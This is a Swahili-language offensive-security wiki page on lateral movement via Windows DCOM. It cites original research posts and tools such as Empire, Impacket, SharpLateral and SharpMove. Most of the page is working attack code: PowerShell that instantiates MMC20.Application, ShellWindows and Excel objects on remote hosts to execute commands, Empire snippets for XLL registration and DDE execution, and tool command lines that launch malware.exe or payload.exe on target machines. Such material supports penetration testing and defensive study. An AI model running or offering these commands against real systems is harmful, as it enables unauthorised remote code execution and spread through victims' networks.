DCOM Exec

Reading time: 7 minutes

MMC20.Application

Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili kutoka https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Distributed Component Object Model (DCOM) objects zina uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft inatoa nyaraka kamili kwa DCOM na Component Object Model (COM), zinazopatikana hapa kwa DCOM na hapa kwa COM. Orodha ya maombi ya DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:

Get-CimInstance Win32_DCOMApplication

Objekti ya COM, MMC Application Class (MMC20.Application), inaruhusu uandishi wa operesheni za MMC snap-in. Kwa hakika, objekti hii ina ExecuteShellCommand njia chini ya Document.ActiveView. Taarifa zaidi kuhusu njia hii inaweza kupatikana hapa. Angalia inavyofanya kazi:

Kipengele hiki kinasaidia utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kwa mbali kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Amri hii inachanganya na programu ya DCOM na inarudisha mfano wa kitu cha COM. Njia ya ExecuteShellCommand inaweza kisha kuitwa ili kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:

Angalia mbinu:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Pata RCE:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Kitu cha MMC20.Application kiligundulika kuwa hakina "LaunchPermissions" wazi, kikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa hapa, na matumizi ya @tiraniddo’s OleView .NET kwa ajili ya kuchuja vitu bila Ruhusa ya Uzinduzi wazi inashauriwa.

Vitu viwili maalum, ShellBrowserWindow na ShellWindows, vilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha rejista cha LaunchPermission chini ya HKCR:\AppID\{guid} unaashiria ukosefu wa ruhusa wazi.

ShellWindows

Kwa ShellWindows, ambayo haina ProgID, mbinu za .NET Type.GetTypeFromCLSID na Activator.CreateInstance zinasaidia kuunda kitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID ya ShellWindows. Mara tu inapoundwa, mwingiliano unaweza kufanyika kupitia mbinu ya WindowsShell.Item, ikisababisha mwito wa mbinu kama Document.Application.ShellExecute.

Mifano ya amri za PowerShell ilitolewa ili kuunda kitu na kutekeleza amri kwa mbali:

# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")

Lateral Movement with Excel DCOM Objects

Lateral movement inaweza kufanywa kwa kutumia DCOM Excel objects. Kwa maelezo ya kina, ni vyema kusoma mjadala kuhusu kutumia Excel DDE kwa ajili ya lateral movement kupitia DCOM kwenye Cybereason's blog.

Mradi wa Empire unatoa script ya PowerShell, ambayo inaonyesha matumizi ya Excel kwa ajili ya remote code execution (RCE) kwa kubadilisha DCOM objects. Hapa chini kuna vipande kutoka kwa script inayopatikana kwenye Empire's GitHub repository, ikionyesha mbinu tofauti za kutumia Excel kwa RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Vifaa vya Utaftaji wa Kando

Vifaa viwili vinasisitizwa kwa ajili ya kuendesha mbinu hizi:

• Invoke-DCOM.ps1: Skripti ya PowerShell iliyotolewa na mradi wa Empire inayorahisisha mwito wa mbinu tofauti za kutekeleza msimbo kwenye mashine za mbali. Skripti hii inapatikana katika hifadhi ya Empire GitHub.

• SharpLateral: Chombo kilichoundwa kwa ajili ya kutekeleza msimbo kwa mbali, ambacho kinaweza kutumika na amri:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

• SharpMove:

SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true

Vifaa vya Kiotomatiki

• Skripti ya Powershell Invoke-DCOM.ps1 inaruhusu kwa urahisi kuita njia zote zilizotajwa za kutekeleza msimbo kwenye mashine nyingine.
• Unaweza kutumia dcomexec.py ya Impacket kutekeleza amri kwenye mifumo ya mbali kwa kutumia DCOM.

dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"

• Unaweza pia kutumia SharpLateral:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

• Unaweza pia kutumia SharpMove

SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true

Marejeo

• https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
• https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/